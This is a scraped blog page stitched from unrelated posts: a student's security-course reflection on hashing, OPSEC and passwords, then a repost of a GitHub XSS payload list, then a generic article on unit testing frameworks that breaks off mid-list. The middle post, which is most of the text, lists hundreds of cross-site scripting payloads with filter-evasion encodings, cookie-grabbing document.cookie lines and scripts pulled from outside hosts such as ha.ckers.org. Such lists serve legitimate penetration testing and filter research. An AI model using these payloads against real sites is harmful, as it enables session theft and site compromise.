One of the problems with using a hash which is vulnerable to second-preimage attacks is that it becomes a lot easier to sign a fake document. Consider the example of a PDF document certifying that I give you $100. If you wanted you could modify the $100 to $100,000, however this would change the resultant hash. However since it’s a PDF you could modify empty attribute fields or add whitespace such that you can modify the hash an enormous amount of times (i.e. to bruteforce the combinations). Since the hash is vulnerable to second-preimage this means that given an input x (the original signed document) we are able to find an x’ (the fake signed document) such that h(x) = h(x’).

Dr Lisa Parker (guest speaker)

I wasn’t able to make the morning lecture, although I will try and summarise my understanding of the key points from this talk:

More holistic approaches to systems improvement have better outcomes (’grassroots approach’ is just as important as targeted)

Unconscious bias is present across a wide variety of industries (i.e. judges harsher before lunch, doctors prescribing drugs for free lunch)

Codes of conduct intended to reduce corruption; pharmaceuticals try to dodge with soft bribes, advertising, funding research

Transparent reporting reduces malpractice

Enforcing checklists useful for minimising risk

OPSEC Overview (extended)

We traditionally think of OPSEC has been based in the military, however many of the principles can apply in more everyday scenarios:

Identifying critical information

Analysis of threats

Analysis of vulnerabilities

Assessment of risk

Application of appropriate OPSEC measures

A lot of the ideas behind gathering information (recon) revolve around collecting “random data”, which at first may not appear useful, however after managing to piece them together, they are. One of the quotes from Edward Snowden (I think) I found quite interesting, “In every step, in every action, in every point involved, in every point of decision, you have to stop and reflect and think, “What would be the impact if my adversary were aware of my activities?””. I think it’s quite powerful to think about this - however at the same time we don’t want to live with complete unrealistic paranoia and live as a hermit in the hills.

One of the easiest ways to improve your OPSEC is through limiting what you share online, especially with social media sites. Some of the basic tips were:

Don’t share unless you need to

Ensure it can’t be traced (unless you want people to know)

Avoid bringing attention to yourself

You can try and conceal your identity online through things like VPNs and Tor Browser. It is important that in identities you have online that you don’t provide a means to link them in any way (i.e. a common email) if you don’t want someone to be able to develop a “bigger picture” about you. For most people, I think the best advice with regards to OPSEC, is to “blend in”.

Passwords (extended)

I am really not surprised that the usage of common names, dates and pets is as common as it is with passwords. Most people just like to take the lazy approach; that is, the easiest thing for them to remember that will ‘pass the test’. Linking closely with this is the re-use of passwords for convenience - however for security this is absolutely terrible. If your password is compromised on one website and your a ‘worthy target’, then everything is compromised.

HaveIBeenPwned is actually a pretty cool website to see if you’ve been involved in a breach of security. I entered one of my emails, which is more of a ‘throwaway one’ I use for junk-ish accounts on forums and whatnot - it listed that I had been compromised on 11 different websites. I know for a fact that I didn’t use the same password on any of those; secondly for most of them I didn’t care if they got broken.

I think offline password managers are an ‘alright way’ to ensure you have good unique passwords across all the sites you use. (be cautious as they can be a ‘single point of failure’) However when it comes to a number of my passwords which I think are very important - I’ve found just randomly generating them and memorising them works pretty well. Another way is to form long illogical sentences and then morph them with capitalisation, numbers and symbols. You want to maximise the search space for an attacker - for example if your using all 96 possible characters and you have a 16-character password then a bruteforce approach would require you to check 2^105 different combinations (worst-case).

The way websites store our passwords is also important to the overall security - they definitely shouldn’t be stored in plaintext, should use a ‘secure hash function’ (i.e. not MD5) and salted. I’m pretty sure I ranted about a mobile carrier that I had experiences with earlier in my blog, that didn’t do this. This means if the passwords were ‘inevitably’ all stolen from the server, the attacker just gets the hashes, and they can’t use rainbow tables because you hashed them all. Personally, I really like the usage of multi-factor authentication combined with a good password (provided those services don’t get compromised right?). Although, you want to avoid SMS two-factor as it’s vulnerable to SIM hijacking.

#week5 #lectures #reflection

4 notes · View notes

megaharrysssssssssssssssss-blog · 6 years ago

Text

rrr

Why GitHub?

Enterprise

Explore

Marketplace

Pricing

256

247

pgaijin66

XSS-Payloads

Code

Issues 0

Pull requests 0

Projects 0

Security

Insights

Join GitHub today

GitHub is home to over 36 million developers working together to host and review code, manage projects, and build software together.

XSS-Payloads/payload.txt

pgaijin66

Add files via upload

af350ef

on Aug 23, 2016 525 lines (433 sloc) 27.3 KB <script>alert(123);</script> <ScRipT>alert("XSS");</ScRipT> <script>alert(123)</script> <script>alert("hellox worldss");</script> <script>alert(“XSS”)</script> <script>alert(“XSS”);</script> <script>alert(‘XSS’)</script> “><script>alert(“XSS”)</script> <script>alert(/XSS”)</script> <script>alert(/XSS/)</script> </script><script>alert(1)</script> ‘; alert(1); ‘)alert(1);// <ScRiPt>alert(1)</sCriPt> <IMG SRC=jAVasCrIPt:alert(‘XSS’)> <IMG SRC=”javascript:alert(‘XSS’);”> <IMG SRC=javascript:alert("XSS")> <IMG SRC=javascript:alert(‘XSS’)> <img src=xss onerror=alert(1)> <iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00> <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>' <input/onmouseover="javaSCRIPT&colon;confirm(1)" <sVg><scRipt %00>alert(1) {Opera} <img/src=`%00` onerror=this.onerror=confirm(1) <form><isindex formaction="javascript&colon;confirm(1)" <img src=`%00`&NewLine; onerror=alert(1)&NewLine; <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script> <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=? <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/ "><h1/onmouseover='\u0061lert(1)'>%00 <iframe/src="data:text/html,<svg onload=alert(1)>"> <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/> <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera} <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript&colon;alert(document&period;location)> <form><a href="javascript:\u0061lert(1)">X </script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'> <img/  src=`~` onerror=prompt(1)> <form><iframe  src="javascript:alert(1)" ;> <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" >X</a http://www.google<script .com>alert(document.location)</script <a href=[]" onmouseover=prompt(1)//">XYZ</a <img/src=@ onerror = prompt('1') <style/onload=prompt('XSS') <script ^__^>alert(String.fromCharCode(49))</script ^__^ </style ><script :-(>/**/alert(document.location)/**/</script :-( </form><input type="date" onfocus="alert(1)"> <form><textarea onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'> <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/ <iframe srcdoc='<body onload=prompt(1)>'> <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a> <script ~~~>alert(0%0)</script ~~~> <style/onload= <script src="data:text/javascript,alert(1)"></script> <iframe/src \/\/onload = prompt(1) <iframe/onreadystatechange=alert(1) <svg/onload=alert(1) <input value=<><iframe/src=javascript:confirm(1) <input type="text" value=`` <div/onmouseover='alert(1)'>X</div> http://www.<script>alert(1)</script .com <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> <svg><script ?>alert(1) <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> <img src=`xx:xx`onerror=alert(1)> <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/> <math><a xlink:href="//jsfiddle.net/t846h/">click <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> <svg contentScriptType=text/vbs><script>MsgBox+1 <a href="data:text/html;base64_,<svg/onload=\u0061l&#101%72t(1)>">X</a <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+ <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script <object data=javascript&colon;\u0061l&#101%72t(1)> <script>+-+-1-+-+alert(1)</script> <body/onload=</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> <<SCRIPT>alert("XSS");//<</SCRIPT> <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search <script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510 <script>alert("XSS");</script>&search=1 0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search <h1><font color=blue>hellox worldss</h1> <BODY ONLOAD=alert('hellox worldss')> <input onfocus=write(XSS) autofocus> <input onblur=write(XSS) autofocus><input autofocus> <body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus> <form><button formaction="javascript:alert(XSS)">lol <img src=x onerror=alert(XSS)//"> <![><img src="]><img src=x onerror=alert(XSS)//"> <style><img src="</style><img src=x onerror=alert(XSS)//"> <? foo="><script>alert(1)</script>"> <! foo="><script>alert(1)</script>"> </ foo="><script>alert(1)</script>"> <? foo="><x foo='?><script>alert(1)</script>'>"> <! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>"> <% foo><x foo="%><script>alert(123)</script>"> <div style="font-family:'foo;color:red;';">LOL LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style> <script>({0:#0=alert/#0#/#0#(0)})</script> <svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg> <SCRIPT>alert(/XSS/.source)</SCRIPT> \\";alert('XSS');// </TITLE><SCRIPT>alert(\"XSS\");</SCRIPT> <INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\"> <BODY BACKGROUND=\"javascript:alert('XSS')\"> <BODY ONLOAD=alert('XSS')> <IMG DYNSRC=\"javascript:alert('XSS')\"> <IMG LOWSRC=\"javascript:alert('XSS')\"> <BGSOUND SRC=\"javascript:alert('XSS');\"> <BR SIZE=\"&{alert('XSS')}\"> <LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER> <LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\"> <LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\"> <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> <META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\"> <STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE> <XSS STYLE=\"behavior: url(xss.htc);\"> <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS <IMG SRC='vbscript:msgbox(\"XSS\")'> <IMG SRC=\"mocha:[code]\"> <IMG SRC=\"livescript:[code]\"> žscriptualert(EXSSE)ž/scriptu <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\"> <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\"> <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\" <IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME> <FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET> <TABLE BACKGROUND=\"javascript:alert('XSS')\"> <TABLE><TD BACKGROUND=\"javascript:alert('XSS')\"> <DIV STYLE=\"background-image: url(javascript:alert('XSS'))\"> <DIV STYLE=\"background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029\"> <DIV STYLE=\"background-image: url(javascript:alert('XSS'))\"> <DIV STYLE=\"width: expression(alert('XSS'));\"> <STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE> <IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\"> <XSS STYLE=\"xss:expression(alert('XSS'))\"> exp/*<A STYLE='no\xss:noxss(\"*//*\"); xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'> <STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE> <STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A> <STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>  <BASE HREF=\"javascript:alert('XSS');//\"> <OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT> <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> <EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED> <EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED> a=\"get\"; b=\"URL(\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\")\"; eval(a+b+c+d); <HTML xmlns:xss><?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"><xss:xss>XSS</xss:xss></HTML> <XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> <XML ID=\"xss\"><I><B><IMG SRC=\"javascript:alert('XSS')\"></B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN> <XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> <HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\"> </BODY></HTML> <SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>  <? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?> <IMG SRC=\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\"> Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser <META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\"> <HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- <SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <A HREF=\"http://66.102.7.147/\">XSS</A> <A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A> <A HREF=\"http://1113982867/\">XSS</A> <A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A> <A HREF=\"http://0102.0146.0007.00000223/\">XSS</A> <A HREF=\"htt p://6 6.000146.0x7.147/\">XSS</A> <A HREF=\"//www.google.com/\">XSS</A> <A HREF=\"//google\">XSS</A> <A HREF=\"http://ha.ckers.org@google\">XSS</A> <A HREF=\"http://google:ha.ckers.org\">XSS</A> <A HREF=\"http://google.com/\">XSS</A> <A HREF=\"http://www.google.com./\">XSS</A> <A HREF=\"javascript:document.location='http://www.google.com/'\">XSS</A> <A HREF=\"http://www.gohttp://www.google.com/ogle.com/\">XSS</A> < %3C &lt < &LT &LT; &#60 &#060 &#0060 &#00060 &#000060 &#0000060 < &#x3c &#x03c &#x003c &#x0003c &#x00003c &#x000003c < < < < < < &#X3c &#X03c &#X003c &#X0003c &#X00003c &#X000003c < < < < < < &#x3C &#x03C &#x003C &#x0003C &#x00003C &#x000003C < < < < < < &#X3C &#X03C &#X003C &#X0003C &#X00003C &#X000003C < < < < < < \x3c \x3C \u003c \u003C <iframe src=http://ha.ckers.org/scriptlet.html> <IMG SRC=\"javascript:alert('XSS')\" <SCRIPT SRC=//ha.ckers.org/.js> <SCRIPT SRC=http://ha.ckers.org/xss.js?<B> <<SCRIPT>alert(\"XSS\");//<</SCRIPT> <SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")> <SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT> <IMG SRC=\" javascript:alert('XSS');\"> perl -e 'print \"<SCR\0IPT>alert(\\"XSS\\")</SCR\0IPT>\";' > out perl -e 'print \"<IMG SRC=java\0script:alert(\\"XSS\\")>\";' > out <IMG SRC=\"javascript:alert('XSS');\"> <IMG SRC=\"javascript:alert('XSS');\"> <IMG SRC=\"jav ascript:alert('XSS');\"> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\"> <IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`> <IMG SRC=javascript:alert("XSS")> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=javascript:alert('XSS')> <IMG SRC=\"javascript:alert('XSS');\"> <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> '';!--\"<XSS>=&{()} ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> '';!--"<XSS>=&{()} <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascrscriptipt:alert('XSS')> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC="  javascript:alert('XSS');"> <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> <<SCRIPT>alert("XSS");//<</SCRIPT> <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> \";alert('XSS');// </TITLE><SCRIPT>alert("XSS");</SCRIPT> ¼script¾alert(¢XSS¢)¼/script¾ <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> <TABLE BACKGROUND="javascript:alert('XSS')"> <TABLE><TD BACKGROUND="javascript:alert('XSS')"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> <XSS STYLE="xss:expression(alert('XSS'))"> exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'> <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e); <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></BODY></HTML> <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> <form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION <form><button formaction="javascript:alert(123)">crosssitespt <frameset onload=alert(123)> <img src=x onerror=alert(123)//"> <style><img src="</style><img src=x onerror=alert(123)//"> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> <embed src="javascript:alert(1)"> <? foo="><script>alert(1)</script>"> <! foo="><script>alert(1)</script>"> </ foo="><script>alert(1)</script>"> <script>({0:#0=alert/#0#/#0#(123)})</script> <script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script> <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script> <script src="#">{alert(1)}</script>;1 <script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script> <svg xmlns="#"><script>alert(1)</script></svg> <svg onload="javascript:alert(123)" xmlns="#"></svg> <iframe xmlns="#" src="javascript:alert(1)"></iframe> +ADw-script+AD4-alert(document.location)+ADw-/script+AD4- %2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4- +ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi- %2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi- %253cscript%253ealert(document.cookie)%253c/script%253e “><s”%2b”cript>alert(document.cookie)</script> “><ScRiPt>alert(document.cookie)</script> “><<script>alert(document.cookie);//<</script> foo<script>alert(document.cookie)</script> <scr<script>ipt>alert(document.cookie)</scr</script>ipt> %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E ‘; alert(document.cookie); var foo=’ foo\’; alert(document.cookie);//’; </script><script >alert(document.cookie)</script> <img src=asdf onerror=alert(document.cookie)> <BODY ONLOAD=alert(’XSS’)> <script>alert(1)</script> "><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script> <video src=1 onerror=alert(1)> <audio src=1 onerror=alert(1)>

Terms

Privacy

Security

Status

Help

Contact GitHub

Pricing

API

Training

Blog

About

1 note · View note

shubhankarn · 2 years ago

Text

Unit Testing Frameworks: Enhance Your Code Confidence and Development Process

In today's fast-paced software development landscape, ensuring the quality and reliability of your code is crucial. One effective way to achieve this is through unit testing frameworks. Unit testing frameworks allow developers to write automated tests to validate individual units of code, ensuring that each component performs as expected. This article explores the benefits of unit testing frameworks, different types available, getting started with them, best practices for effective unit testing, advanced techniques and strategies, overcoming challenges, and real-world examples and case studies.

Benefits of Unit Testing Frameworks

Unit testing frameworks offer numerous benefits that contribute to enhanced code confidence and development processes. Some of these advantages include:

Early Bug Detection: By writing tests alongside code development, unit testing frameworks help identify bugs and issues at an early stage, making it easier and more cost-effective to fix them.

Improved Code Quality: Unit tests act as a safety net, ensuring that individual units of code work correctly and as intended. This leads to higher overall code quality and reduces the risk of introducing regressions.

Faster Debugging: When issues arise, unit tests can help pinpoint the specific unit or component causing the problem. This accelerates the debugging process and enables developers to focus on the specific code segment in question.

Refactoring Support: Unit tests provide confidence when refactoring or making changes to code. They help ensure that existing functionality remains intact and prevent unintended side effects.

Documentation and Code Understanding: Well-written unit tests serve as documentation and examples for other developers. They provide insights into the expected behavior of each unit and improve code understanding.

Types of Unit Testing Frameworks

Several unit testing frameworks are available, each with its own set of features and characteristics. Some popular unit testing frameworks include:

JUnit: JUnit is a widely used unit testing framework for Java-based projects. It provides annotations, assertions, and test runners to facilitate writing and executing tests.

PHPUnit: PHPUnit is a unit-testing framework specifically designed for PHP. It offers a rich set of assertion methods and tools for testing PHP code.

RSpec: RSpec is a framework for behavior-driven development (BDD) in Ruby. It allows developers to write expressive tests using a natural language syntax.

PyTest: PyTest is a testing framework for Python that provides an easy-to-use interface and powerful features for writing tests. It emphasizes simplicity and scalability.

